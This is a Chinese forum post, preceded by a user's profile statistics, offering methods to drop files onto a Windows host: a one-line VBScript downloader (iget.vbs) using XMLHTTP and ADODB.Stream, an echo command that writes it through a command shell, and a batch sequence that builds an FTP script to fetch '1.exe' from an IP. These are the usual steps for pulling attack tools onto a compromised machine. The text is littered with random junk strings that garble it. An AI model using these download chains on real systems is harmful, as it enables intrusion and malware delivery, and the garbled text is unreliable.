- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
7 O& M. Q; R2 B$ ]8 ~ m) g2 z1.iget.vbs一次写入
" {% T/ D8 z$ r6 ^& L+ {, T在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
M; t1 ?7 [. R6 z9 J0 H( Z. n( I3 w& Y( U
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 4 x' D+ u- O" s% m) N; a
8 N+ h @4 D5 l F( x# |5 q' c这样我们可以一次echo成功,echo版本: 6 l5 P( ~5 R$ F/ w
' k$ b! F. Q! s6 W( Z0 ?
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
/ }) o- m* r: O
& R0 _% F% }- `) |
2 u# H( B0 |# E0 U9 f- V2.bat调用ftp脚本的写法(by envymask)
( I6 U! H. G& h% A: N a( t3 j0 q6 N4 \- t
echo ftp>1.vbs ' A5 z, n- D: o% i$ T
echo open ip>2.vbs
. T- Z- u- @: l' G y$ v) E; Wecho u>3.vbs
0 ]' ~/ r. d0 }echo s>4.vbs ( j" P1 B0 E0 f; D8 L# v
echo binary>5.vbs 4 i7 ? _+ u7 p4 T2 v
echo get 1.exe>6.vbs # T* f* v, K1 c0 U3 w" B$ t
echo bay>7.vbs
8 E O$ q$ k: M, A+ ?% L2 ~3 ^) v1 Z9 u1 z Q; k! |/ U M# G
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs " Y/ ]: V6 K7 I' _4 L. s0 w2 ?
</P> |
zan
|